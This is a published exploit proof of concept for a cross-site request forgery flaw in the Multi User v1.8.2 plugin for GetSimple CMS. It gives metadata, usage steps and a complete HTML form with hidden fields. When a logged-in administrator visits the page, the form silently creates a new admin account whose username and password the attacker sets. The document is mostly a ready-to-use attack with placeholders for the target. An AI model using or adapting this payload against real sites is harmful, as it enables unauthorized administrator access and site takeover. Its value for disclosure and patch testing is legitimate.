# Exploit Title: GetSimple CMS Plugin Multi User v1.8.2 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: August 2020-08-12
# Vendor Homepage: http://get-simple.info/extend/plugin/multi-user/133/
# Software Link: http://get-simple.info/extend/export/960/133/multi-user.zip
# Version: 1.8.2
# Tested On: Windows 10 Pro + XAMPP
# CWE-352: Cross-Site Request Forgery (CSRF)
# Vulnerability Description:
# Cross-Site Request Forgery (CSRF) vulnerability in Multi User v1.8.2 plugin for GetSimple CMS allows remote attackers to add an Admin user via authenticated admin visiting a third-party site.
## Usage:
+ Change <IP||DOMAIN> to target IP address or domain name
+ Change <ADMIN> to target username
+ Change <PASSWORD> to target password
## CSRF POST Form Method
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<IP||DOMAIN>/admin/load.php?id=user-managment" method="POST">
<input type="hidden" name="usernamec" value="<ADMIN>" />
<input type="hidden" name="useremail" value="ADMIN@DOMAIN.LOCAL" />
<input type="hidden" name="ntimezone" value="" />
<input type="hidden" name="userlng" value="en_US" />
<input type="hidden" name="userpassword" value="<PASSWORD>" />
<input type="hidden" name="usereditor" value="1" />
<input type="hidden" name="Landing" value="" />
<input type="hidden" name="add-user" value="Add New User" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
